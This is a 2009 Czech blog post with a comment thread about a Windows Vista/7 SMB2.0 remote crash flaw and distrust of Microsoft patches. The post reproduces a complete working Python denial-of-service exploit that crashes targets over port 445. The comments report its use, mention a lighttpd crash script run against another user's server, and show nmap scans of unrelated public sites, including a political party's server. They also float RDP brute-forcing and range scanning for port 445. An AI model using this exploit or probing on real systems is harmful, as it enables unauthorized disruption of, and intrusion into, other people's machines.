Microsoft projel na červenou

10.9.2009 09:37 | Přečteno: 4696× | windows | poslední úprava: 15.11.2009 15:13

Jak jistě všichni víte, nedávno M$ vydal záplaty jako každý jiný měsíc, ale co vlastně opravují? Údajně jsou všechny kritické a už by to mělo být oukej, ale ...

Seznam chyb je možno vidět třeba zde : Bezpečnostní aktualizace od Microsoftu: Září 2009.
O inkriminované chybě M$ píše přímo zde : Microsoft Security Bulletin MS09-048 - Critical

Tento způsob kritických chyb je snad nekonečná šňůra opravených oprav, které opravují předešlé opravy atd. Chtěl jsem si tedy vyzkoušet, jak mám tedy těmto opravám důvěřovat a co je potřeba k takovému průniku. Nakonec stačilo jen stáhnout tento malý skriptík v pythonu : Windows Vista/7 Remote SMB2.0 Denial of Service Exploit.

#!/usr/bin/python
# SecurityReason Note :
# Tested on : Windows Vista SP2 full updated - US-en
#
# When SMB2.0 recieve a "&" char in the "Process Id High" header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA B.S.O.D

from socket import socket
from time import sleep

host = "192.168.3.224", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal operation should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

Poté už jej jen stačilo spustit a podívat se, jak se Visty s SP2 a né zcela aktuální zachovají. Hned po spuštění šly do kolen, jako bychom vytáhli kabel ze zdi. Kolega mi tuto akci chtěl samozřejmě vrátit a tak se jal aktualizací a plně Visty zaktualizoval. Ještě projistotu ověřil, že zmiňovaná záplata je nainstalována a hned mi s úsměvem oznamoval, že už mám smolíka.

Nu, ale co, stejně to zkusím a uvidíme a hádejte co :D. Jojo, Visty šly opět do kolen :D. Takže si teď pokládám otázku, jak moc mám důvěřovat těmto záplatám :-/. Dalším řešením je samozřejmě třeba nastavení firewallu a blokace portu 445, ale toto mě nijak moc netěší :-/.

Jinak na serveru 2008 jsem to nezkoušel, přecijen tam běží databáze a další věci, je to ostrý provoz a testovací 2008 nemám. Nechtěl byste to někdo vyzkoušet? Zda to jede i u vás na zaktualizovaných Vistách a nebo Serveru 2008 (nejlépe i R2, sice tvrdí, že na R2 to nefachčí, ale kdo by jim po tomto věřil :-/ ) ?

Zdar Max

UPDATE 6.10.2009 : od 10.9.2009 žádná změna. Při vyhledávání všech aktualizacích ve vistách a následném nainstalování lze systém stále bezpečně shodit.
UPDATE 15.11.2009 : Tato chyba byla nakonec opravena až v následujícím měsíci (s další várkou aktualizací). Poté byl měsíc klid a najednou vylezla opět podobná chybka (pro server 2008 R2 a W7), tentokráte v smb a budeme opět měsíc čekat na záplatu :(.        

Anketa

Komentáře

[pasmen]

Zkoušel jsem to na Windows Server 2003 Enterprise SP2 a nic se nestalo, takže asi OK. Jinak Visty samozřejmě používá jen kterén

[Max]

U nás je má jen pár lidí. Šéf, aby si ošahal něco novýho, pár lidí, co mají také notebook a zvykli si na ně a XP už nechtějí. A v kanclu je tu máme na testovacím PC.
Zdar Max

[pasmen]

U nás to nemá nikdo, kdo to měl, tomu jsem to hned sebral a předrtil Ubunťákem Kolega co u nás byl na brigádě si přinesl notebook s Windows 7, celkem si je pochvaloval, ale nevím nevím. Byl to člověk ze školy, kde je učí samé .NET apod., to moc vypovídací hodnotu mít nebude.

[Max]

Příloha:

• exploit-vista-bsod.py (0 bytů)

Jop, jinak dám do přílohy raději samotný skript, přecijen, původní copy-past mi moc nejelo, zřejmě jsem ze stránek omylem zkopíroval i nějaké mezery :-/
Zdar Max

[otasomil]

>>>Jinak Visty samozřejmě používá jen kterén 

Cekal jsem co bude.

Kupodivu zadny flame = mate pravdu tentokrate vice nez je vubec mozne.

[9002]

Nejaky remotak pre WXP SP3 by nebol, co? Lamy...

[xurpha]

Aktualizace prý budou dostupné příčtí týden. (Což nic nemění na tom, že je to dobrá prdel )

[houska]

zkouseno na win 7 a taky jsou v pohode

[Piškot]

Docela škoda ... protože jinak už zcela běžíme na Linuxu. Jen kolega je chytřejší a má W7 :/ Takle by byla legrace celý týden.

[houska]

jj :( kolega ma taky win7, ale doma ma visty a ty se mu vzdalene poradilo shodit

[pasmen]

Huh, mít vystavený Visty, to je čirá hloupost

[houska]

pres vpnku ;)

[Luboš Doležel (Doli)]

Na Slashdotu to představovali tak, že tahle chyba je právě ve Windows 7.

[houska]

nechci se hadat, ale opravdu jsem to zkousel na dvou win7 strojich a opravdu nic

[Heron]

Na čem přesně jsi to zkoušel?

Mé Win7RC 64b (tj Ultimate, build 7100, všechny updaty) to spolehlivě poslalo do modré. Na RTM to prý nefunguje.

[houska]

Win7 Enterprise build 7600 ... 7100 je prej pul roku stara... mas updatovat ;)

[Heron]

Poslední verze uvolněná MS je OEM RTM pro obchodní partnery, což nejsem. K finálce se dřív než 22.10.2009 nedostanu. Pokud mi nic neuniklo, tak pro obyčejného smrtelníka nic novějšího k disposici od MS a jeho partnerů není.

[zajdee]

Zcela správně. Naštěstí je firma MS partnerem, finální W7 Enterprise už tedy k dispozici máme :)

Vista nevydržela, finální W7 ano, zřejmě tedy půjde o bug ve vistoidním/2008 serverovém srv2.sys. Pokud už tedy windows k něčemu důležitému používáte, zkontrolujte si firewally :)

[cortex]

odskusane na w7 a funguje to ako ma ;) bsod

[janik]

Skusal som na mojom pracovnom desktope (ehm zavadzaci na visual studio) -- windows server 2008 SP2 -- rovno po aktualizacii. Bolo to prvy krat co som na nom videl BSOD

[Cohen]

A nezapomněl kolega restartovat.

[Max]

Nezapomněl :). Restartoval 5x, zkoušel vypínat i zapínat UAC a všechno možný :). Krom firewallu tě nic jiného nespasí.
Zdar Max

[Michal Kašpar]

Tak Windows 2008 Server x86_64 SP2. Před záplatou de dolu jak hruška. Po ní taky.

[sssssssss]

Nechci vam do toho placani se po zadech nejak skakat, ale skriptik kterej ti polozi linux muzes taky stahnout z netu.

[pc2005]

I po zazáplatování?

[houska]

sem s nim!

[martin()]

Na diaľku ?

[Max]

Nechci ti nějak oponovat, ale co nějaký příklad? Rád bych teda viděl něco, co vzdáleně sejme aktuální kernel, nebo spíše aktuální zaplátovaný kernely (2.6.28.XX ...)?
Jasně, když je prostě díra v systému, vyjde oprava, tak ok, stane se, ale když se jedna dírá omývá deset let, tak to už je prostě něco jinýho. Kolikrát už tu byla oprava, která toto řešila u XP, 2000 a možná i NTéček a přitom se stále objevuje. Navíc teď vydaly záplatu, která to měla řešit a neřeší (nebo tam těch děr bylo víc?).
Zdar Max

[sssssssss]

To nemuze bejt nic hroznyho kdyz ta dira je znama deset let a windowsy na celem svete vesele jedou dal, zase tady nekdo dela z komara velblouda. Jo a ten script najit neumim, ale urcite neco existuje kazdej os je deravej.

[vlastikroot]

LOL widle vesele jedou dal zavirovane a nepouzitelne. Kdyz neumis najit takovy exploit, tak to znamena ze neexistuje. Kazdej OS neni deravej. Linux sice mozna jeste nejake neosetrene chybky ma (vzdyt je to jen obycejny C program, tam se chybka udela snadno), ale to neznamena za kazdy OS musi byt napadnutelny.

[Jendа]

Kdyby existovalo něco, co dokáže vzdáleně shodit Linux, tak by kolem toho bylo asi docela pozdvižení a tipuji, že by to bylo tak do šesti hodin fixnuté.

[belisarivs]

Presne.

Linuxove servery jsou radove lakavejsi cil nez domaci plecka Franty Vomacky.

[otasomil]

Sem s nim.

Pozvednite tu lidem naladu a polozte dalkove Linux na lopatky. Viz moje paticka.

Mj si dovoluji pripomenout ze mi bezi ftpd i sshd.

Pak se budem placat po zadech.

Neocekavam vsak zahlceni meho serveru gigabajtama dotazu - to umi kazda lama.

[Jendа]

Tvůj poskytovatel je magor.

~> telnet 86.61.236.66
Trying 86.61.236.66...
Connected to 86.61.236.66.
Escape character is '^]'.

MikroTik v3.3
Login:

[Mrkva]

Proc jako? :) To, ze tam bezi telnet jeste neznamena, ze se pres nej loguje :)

[Jendа]

Na IP adrese zákazníka poslouchá poskytovatelův Mikrotik.

[pc2005]

Jakože to má prodejce modemu blbě nakonfigurovaný? Tak zkus kohokoliv z O2 rozsahu kdo má Zyxel modem na portu 7547 .

[houska]

btw uz to nekdy nekdo hacknul? :)

[Jendа]

Ne (nebo o tom neví ).

[otasomil]

Jeste nee a zatim se to ani nikomu nepodarilo.

O telnetu vim a nechavam to chladny - je to na zarizeni providera. Jestli to pouziva - nevim.

[Grunt]

Pozvednite tu lidem naladu a polozte dalkove Linux na lopatky.

A MikroTik před ním se také počítá? Na tak starý znám exploitů hned několik.

[otasomil]

MikroTik se nepocita pac jej nemam ve sprave a tudiz o nem nic nevim.

Takze fakt nee.

[Smajchl]

Hackovné je super!! moc se mi líbí ten nápad a jeste víc se mi líbí jak je to detailně popsaný a žádnej z těch lamer haxorů to ještě nedokázal

[otasomil]

A to je to co me s**e ze porad nic a nic.

[Jendа]

Je to takový strašný pocit bezmoci. Běží tam stroj, známe heslo na roota (woofwoof), běží na něm jakýsi obskurní webserver pod rootem (!) a nejde s tím nic dělat...

[otasomil]

Pozor zmena !

Mrknite znovu.

[Jendа]

Ale už zase není heslo na roota woofwoof

[Mrkva]

Pridavam se do souteze, at si to muzou zkusit i na jiny konfiguraci :)

[chochi]

Staci shodit ten web server (jelikoz to jde v celku jednoduse)?

[Jendа]

http://redmine.lighttpd.net/projects/lighttpd/issues

[Mrkva]

No, BSOD to neni :) Ale zajimalo by me, co jsem tam spatne nakonfiguroval, takze ano, na vyhru to stacit bude .)

[Jendа]

A jak se mu to povedlo? [taky provozuji i na produkčním serveru lighttpd, tak by mě to zajímalo ]

[Mrkva]

No lighttpd zatim co ja vim nespadl :)

[Jendа]

Aha, myslel jsem, že už to podnikl.

[Jendа]

A ten jeho komentář přišel v 13:37. A já chodím do gymnázia s číslem popisným 1337. To nemůže být náhoda!

[chochi]

Tak jsem to spustil. Nejede to tak rychle jak jsem si predstavoval, ale mel bys videt ze lighthttpd pouziva stale vice pameti (teda pokud opravdu mas vanila lighthttpd 1.4.19) a za chvili by mela dojit pamet.

[Honza Jaroš]

Že by Slow loris?

[Mrkva]

No, vidim tu 300-500 spojeni z jedny IP, ale s pameti se nic moc nedeje. Fakt je, ze Debiani lighttpd asi neni vanilla.

[chochi]

Příloha:

• x.pl (584 bytů)

Hm, tak to nema uz to nema cenu.

Jinak me se jednalo konkretne o tuhle chybu - http://redmine.lighttpd.net/issues/1774 , ktera je v 1.4.20 opravene (ja to zkousel u sebe na 1.4.19 a ta sla dolu po 5 minutach).

Ona vlastne je pravda ze Debian kriticke chyby opravuje dost rychle - pak clovek nevi jake ma heldat chyby - takze preji panu z Debianu at jim tohle vydrzi .

PS: skript na slozeni vanilla lighthttpd 1.4.19 prikladam.

 

[Jendа]

15:39:37 up 49 min, 1 user, load average: 0.11, 0.19, 0.26

To ti někdo shodil, nebo to padlo samo? A kdo tam je zalogovaný? :-P

[Mrkva]

To jsem prosim pri uklidu vytahl spatny kabel. A zalogovany tam jsem ja.

[otasomil]

Jo kdyby lide windows (jakekoli) pouzivali jen jako "substrat" na kterem pestuji zampiony (spousti svoje oblibene aplikace) tak nikoho nemuze jejich pad nijak rozhodit.

Nakazeny, plesnivy, smradlavy substrat vymenit pomoci dd ze zalohy a jede se vesele dale.

Aktualizace a opravy jak vidite stejne neresi ani problemy stare x let tak se na ne vykaslat, pravidelne obnovovat substrat a mate svaty pokoj.

Jednoduche,  prakticke, 100% funkcni reseni a hlavne ZADARMO.

[pc2005]

Otázka zda to nekoliduje s EULA :-\.

[otasomil]

Co ?

Ze si udelam bitovou zalohu systemoveho oddilu ?

[pc2005]

Se mě moc nezdá, že by MS nevadilo to, že si může někdo dělat kopii systémovýho oddílu kdykoliv před nebo po výměně HW, softwarovou aktualizací a samozřejmě klidně ve více exemplářích. EULu jsem sice četl jen u win98, ale bylo tam dost restrikcí.

[otasomil]

Asi na tom neco bude ze je to v rozporu s EULA.

Jinak verim ze by to delala spousta lidi a i admini ve firmach coz nevim ze by se delalo.

Problem je v tom ze obraz oddilu hdd ulozeny do souboru je v podstate kompletni system bit po bitu.

[Luk]

A používání RAID 1 není v rozporu s EULA? Vždyť zálohovat si systém vytvořením obrazu a vytvářet takový obraz v reálném čase je prakticky totéž. Obecně bych to každopádně považoval za dočasnou rozmnoženinu podle § 38a AZ.

[pc2005]

Tohle bych přirovnal spíše k snapshotu v nejakém virtuálním stroji a tuším, že tady párkrát byla zmínka o tom, že jen některé edice je možno virtualizovat.

Ten zákon by byl OK, pokud by nebyl o dočasné rozmnoženině, protože bitová záloha čistého systému se asi nebude měnit každým zápisem na disk (nebo pravidelnou zálohou).

Samozřejmě je v prvé řadě blbé, že člověk k výrobě takové zálohy musí v prvé řadě sahat.

[Luk]

Mnohé počítače (zejména notebooky, ale i mnohé jiné značkové počítače) mají buď předem připravený oddíl se zálohou čistého systému po instalaci nebo umožňují takovou zálohu vytvořit později jedním kliknutím. Tedy vlastně ani člověk tu zálohu nemusí dělat explicitně, už ji má rovnou k dispozici nebo si ji vyrobí/aktualizuje později. Proto bych to s úvahami o případné nelegálnosti takového počínání moc žhavě neviděl.

[/bin/laden]

Myslis virtualizaciu?

 

[AsciiWolf]

Windows Server 2008 R2 (x64) - Po spusteni skriptu se nic nestalo. ocividne to uz zaplatovali...

[Honza Jaroš]

Verze R2 je, pokud se nepletu, postavená už na jádře Windows 7, takže pokud záplata u sedmiček funguje...

[Luk]

PRÁSK!!! To je snad poprvé, jsem viděl BSOD na Windows Vista

[belisarivs]

Ja ne. Stacilo nainstalovat palici program s ovladacem pro virtualni mechaniku a sly do kopru bleskem. A to definitivne. Reinstall to jistil.

[Luk]

Já už jsem u Visty zažil pár totálních zátuhů. Ale ty způsobovala DVD vypalovačka, a to v případě, kdy se vložilo CD-DA (zvukový disk). Jenže na tom úplně stejně tuhnul i Linux. Zřejmě to nějak blokovalo řadič, protože systém zatuhl přesně v okamžiku, kdy si sáhl na disk. Vyřešila to aktualizace firmwaru mechaniky.

[otasomil]

>>>A to definitivne. Reinstall to jistil.

Proc, kdyz staci jen mit bitovou kopii, znovu ji nahrat a jede se dal.

[belisarivs]

A nenapadlo te, ze tva podminka nemusela byt splnena?

[Grunt]

Stačí nainstalovat gedit a může být klidně druhý.

[Mrkva]

Prvni BSOD co jsem videl na Win7 RC :)

[Limoto]

Windows 7 RC down...

[/bin/laden]

ts ts ts...

# ping www.strana-smer.sk
PING www.strana-smer.sk (93.184.70.229) 56(84) bytes of data.
64 bytes from www.strana (93.184.70.229): icmp_seq=1 ttl=123 time=27.0 ms
64 bytes from www.strana (93.184.70.229): icmp_seq=2 ttl=123 time=26.2 ms
64 bytes from www.strana (93.184.70.229): icmp_seq=3 ttl=123 time=25.9 ms
^C
--- www.strana-smer.sk ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 25.907/26.399/27.027/0.503 ms

#  whois strana-smer.sk
%
% whois.sk-nic.sk - whois server for TLD .sk
%


Domain-name         strana-smer.sk
Admin-id            SMER-0001
Admin-name          SMER - socialna demokracia
Admin-legal-form    ina pravna forma
Admin-org.-ID       31801242
Admin-address       Sumracna 25, Bratislava 82102
Admin-telephone     0907755584, 43426300, 0905 470 779
Admin-email         suran@strana-smer.sk
Tech-id             WEBG-0001
Tech-name           WEBGLOBE, s.r.o.
Tech-org.-ID        36306444
Tech-address        Stara Prievozska 2, Bratislava 82109
Tech-telephone      02 / 58101062, 02 / 58101060
Tech-email          sk-nic@webglobe.sk
dns_name            ns.webglobe.sk
dns_name            ns2.webglobe.sk
dns_name            ns3.webglobe.sk
Last-update         2009-09-10
Valid-date          2010-10-06
Domain-status       DOM_OK
# nmap strana-smer.sk

Starting Nmap 5.00 ( http://nmap.org ) at 2009-09-10 18:52 CEST
Interesting ports on www.strana (93.184.70.229):
Not shown: 997 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
3389/tcp open  ms-term-serv

Nmap done: 1 IP address (1 host up) scanned in 7.78 seconds

# rdesktop -u Administrator 93.184.70.229

... no pekne...

[houska]

rdesktop -u Administrator 93.184.70.229

pekny ... vis co ted s tim? ;)

[/bin/laden]

ak tak brute force alebo nejaky remotak - co ine? ale dalej uz pisat verejne nemozem

[Jendа]

Pche, fuj. To dělají jenom kiddies. RDP je nešifrovaný, takže nějaký odposlech.

[/bin/laden]

no sak pisem ze sa nebudem verejne vyjadrovat...

[/bin/laden]

ale ved to viem, tiez mi pride dost blbe ze to neide cez VPN...

[/bin/laden]

zaujimavejsie je ale toto:

# nmap cssd.cz

Starting Nmap 5.00 ( http://nmap.org ) at 2009-09-10 19:23 CEST
Interesting ports on www.cssd.cz (80.188.162.141):
Not shown: 999 filtered ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 15.30 seconds

chvalim....

[Limoto]

Dej si do googlu ASP hosting. Pak RDP na doménu a máš asi 50% šanci

[houska]

nmap -p 445 nejaky.rozsah.v.iternetu/neco

[spectrum]

Hmm, s těma záplatama to je děs. V poslední době snad nezáplatují nic jiného než (linuxově řečeno) SMB, a to je prasečina. Kdyby to aspoň opravili, ale jak je vidět, tak si s tím neví rady. Ono se holt nevyplácí tam cpát ty ***** z Windows 95 počínaje. Ale to se nabaluje, nabaluje a nakonec se v tom nikdo nevyzná.

[Grunt]

Kéž by. Doporučuji vyhledat klíčové slovíčko LANMAN. To SMB je mnohem starší. Teda proti stáří vůbec nic. A co teprve heslování v něm. To je oříšek.

[houska]

$ nmap -p 445 zive.cz

Starting Nmap 4.68 ( http://nmap.org ) at 2009-09-11 10:48 CEST
Interesting ports on www4.cpress.cz (77.93.192.144):
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 0.076 seconds
$

[Jendа]

Příloha:

• zive-rdesktop.png (0 bytů)

EE

[komentář má přílohu]

[lolofon]

Ludia ako pustim ten skript ??? premenujem na .exe / . bat a pustim na inom pocitaci co je v sieti a zhodim dalsi, ktoreho IP je v tom execku ???

[petrxy]

predevsim moc nechapu co tim basnik chtel rict, kdyz evidentne ceka ze patch urceny na neco jineho vyresi jeho problem. http://www.microsoft.com/technet/security/Bulletin/MS09-048.mspx oprava kterou popisujete je urcena na uplne jiny problem. To co hledate bylo vydano az pozdeji a najdete zde http://www.microsoft.com/technet/security/bulletin/ms09-050.mspx v dobe kdy jste psal svuj prispevek patch jeste nebyl (probihalo testovani ped rolloutem) a existovala pouze doporuceni jak se problemu vyhnout. Takze pro priste... na spravnou chybu je potreba aplikovat take spravny patch, nejlepe pouzivat Windows Update a pokud se v chybach nevyznate tak o nich radeji nepsat abyste zbytecne nematl ostatni.

[Max]

Tak to samozřejmě vyplynulo z článku, že se vydala oprava chyby a stejně si člověk nepomohl, páč již byla nalezena další. Článkem jsem jen chtěl říct, že takto závažné chyby ohledně RPC a SMB jsou tu už pěkně dlouho. To je každou chvíli, posláním úplně primitivního packetu shodit celý server. Navíc se na aktualizace kašle a i na takto veřejně známé primitivní chyby se vydávají aktualizace až po měsíci. Co mají potom dělat admini na lokálu s vtipnýma uživatelema :-/ (naštěstí žádné nemáme). Chápu, že ty služby a protokoly se vylepšují, ale stejně si myslím, že to je až moc děravé, než by bylo zdrávo :-/.
Zdar Max

[petrxy]

Ale to uz tak nekdy chodi. Obcas se stane ze v jedne komponente se najde vice chyb kratce po sobe, nestava se to jen Microsoftu.